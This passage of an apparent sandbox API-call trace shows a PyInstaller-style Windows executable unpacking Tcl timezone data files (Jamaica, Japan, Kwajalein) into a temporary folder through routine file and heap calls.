lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.004] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.004] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.004] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.004] CloseHandle (hObject=0x10c) returned 1 [0043.004] GetLastError () returned 0x0 [0043.004] SetLastError (dwErrCode=0x0) [0043.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Jamaica") returned 64 [0043.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Jamaica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\jamaica"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.005] GetLastError () returned 0x2 [0043.005] SetLastError (dwErrCode=0x2) [0043.005] GetLastError () returned 0x2 [0043.005] SetLastError (dwErrCode=0x2) [0043.005] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Jamaica", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Jamaica", lpFilePart=0x0) returned 0x3f [0043.005] GetLastError () returned 0x2 [0043.005] SetLastError (dwErrCode=0x2) [0043.005] GetLastError () returned 0x2 [0043.005] SetLastError (dwErrCode=0x2) [0043.005] GetLastError () returned 0x2 [0043.005] SetLastError (dwErrCode=0x2) [0043.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Jamaica") returned 64 [0043.005] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.005] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Jamaica" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\jamaica"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.005] GetFileType (hFile=0x10c) returned 0x1 [0043.005] htonl (hostlong=0xb0000000) returned 0xb0 [0043.005] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.005] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb0, lpOverlapped=0x0) returned 1 [0043.006] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.006] CloseHandle (hObject=0x10c) returned 1 [0043.006] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.006] htonl (hostlong=0x30000000) returned 0x30 [0043.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.006] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.006] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.007] GetFileType (hFile=0x10c) returned 0x1 [0043.007] htonl (hostlong=0x22dd5c00) returned 0x5cdd22 [0043.007] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618d22, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.007] htonl (hostlong=0x83000000) returned 0x83 [0043.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x83) returned 0x55cfe0 [0043.007] htonl (hostlong=0x83000000) returned 0x83 [0043.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.007] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.007] htonl (hostlong=0x9f000000) returned 0x9f [0043.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x550600 [0043.007] htonl (hostlong=0x83000000) returned 0x83 [0043.007] htonl (hostlong=0x9f000000) returned 0x9f [0043.007] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.007] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.007] CloseHandle (hObject=0x10c) returned 1 [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] GetLastError () returned 0x0 [0043.007] SetLastError (dwErrCode=0x0) [0043.007] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.007] GetFileType (hFile=0x10c) returned 0x1 [0043.007] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.007] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.008] CloseHandle (hObject=0x10c) returned 1 [0043.008] GetLastError () returned 0x0 [0043.008] SetLastError (dwErrCode=0x0) [0043.008] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.008] GetFileType (hFile=0x10c) returned 0x1 [0043.008] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.008] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.008] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.008] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.008] CloseHandle (hObject=0x10c) returned 1 [0043.008] GetLastError () returned 0x0 [0043.009] SetLastError (dwErrCode=0x0) [0043.009] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Japan") returned 62 [0043.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Japan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\japan"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.009] GetLastError () returned 0x2 [0043.009] SetLastError (dwErrCode=0x2) [0043.009] GetLastError () returned 0x2 [0043.009] SetLastError (dwErrCode=0x2) [0043.009] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Japan", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Japan", lpFilePart=0x0) returned 0x3d [0043.009] GetLastError () returned 0x2 [0043.009] SetLastError (dwErrCode=0x2) [0043.009] GetLastError () returned 0x2 [0043.009] SetLastError (dwErrCode=0x2) [0043.009] GetLastError () returned 0x2 [0043.009] SetLastError (dwErrCode=0x2) [0043.009] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Japan") returned 62 [0043.009] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.009] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Japan" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\japan"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.010] GetFileType (hFile=0x10c) returned 0x1 [0043.010] htonl (hostlong=0x9f000000) returned 0x9f [0043.010] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.010] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x9f, lpOverlapped=0x0) returned 1 [0043.011] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.011] CloseHandle (hObject=0x10c) returned 1 [0043.011] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.011] htonl (hostlong=0x30000000) returned 0x30 [0043.011] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.011] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.011] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.011] GetFileType (hFile=0x10c) returned 0x1 [0043.011] htonl (hostlong=0xa5dd5c00) returned 0x5cdda5 [0043.012] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618da5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.012] htonl (hostlong=0x86000000) returned 0x86 [0043.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x86) returned 0x55cfe0 [0043.012] htonl (hostlong=0x86000000) returned 0x86 [0043.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.012] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.012] htonl (hostlong=0xb8000000) returned 0xb8 [0043.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x550600 [0043.012] htonl (hostlong=0x86000000) returned 0x86 [0043.012] htonl (hostlong=0xb8000000) returned 0xb8 [0043.012] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.012] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.012] CloseHandle (hObject=0x10c) returned 1 [0043.012] GetLastError () returned 0x0 [0043.012] SetLastError (dwErrCode=0x0) [0043.012] GetLastError () returned 0x0 [0043.012] SetLastError (dwErrCode=0x0) [0043.012] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.012] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.012] GetFileType (hFile=0x10c) returned 0x1 [0043.012] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.012] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.012] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.012] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.013] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.013] CloseHandle (hObject=0x10c) returned 1 [0043.013] GetLastError () returned 0x0 [0043.013] SetLastError (dwErrCode=0x0) [0043.013] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.013] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.013] GetFileType (hFile=0x10c) returned 0x1 [0043.013] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.013] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.013] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.013] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.014] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.014] CloseHandle (hObject=0x10c) returned 1 [0043.014] GetLastError () returned 0x0 [0043.014] SetLastError (dwErrCode=0x0) [0043.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Kwajalein") returned 66 [0043.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Kwajalein" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\kwajalein"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.014] GetLastError () returned 0x2 [0043.014] SetLastError (dwErrCode=0x2) [0043.014] GetLastError () returned 0x2 [0043.014] SetLastError (dwErrCode=0x2) [0043.014] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Kwajalein", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Kwajalein", lpFilePart=0x0) returned 0x41 [0043.014] GetLastError () returned 0x2 [0043.014] SetLastError (dwErrCode=0x2) [0043.014] GetLastError () returned 0x2 [0043.014] SetLastError (dwErrCode=0x2) [0043.014] GetLastError () returned 0x2 [0043.014] SetLastError (dwErrCode=0x2) [0043.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Kwajalein") returned 66 [0043.014] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Kwajalein" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\kwajalein"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.014] GetFileType (hFile=0x10c) returned 0x1 [0043.015] htonl (hostlong=0xb8000000) returned 0xb8 [0043.015] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.015] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb8, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb8, lpOverlapped=0x0) returned 1 [0043.015] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.015] CloseHandle (hObject=0x10c) returned 1 [0043.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.016] htonl (hostlong=0x30000000) returned 0x30 [0043.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.016] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.016] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.016] GetFileType (hFile=0x10c) returned 0x1 [0043.016] htonl (hostlong=0x2bde5c00) returned 0x5cde2b [0043.016] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x618e2b, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.016] htonl (hostlong=0x85000000) returned 0x85 [0043.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x85) returned 0x55cfe0 [0043.016] htonl (hostlong=0x85000000) returned 0x85 [0043.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.016] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.016] htonl (hostlong=0xab000000) returned 0xab [0043.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xab) returned 0x550600 [0043.016] htonl (hostlong=0x85000000) returned 0x85 [0043.016] htonl (hostlong=0xab000000) returned 0xab [0043.016] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.016] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.016] CloseHandle (hObject=0x10c) returned 1 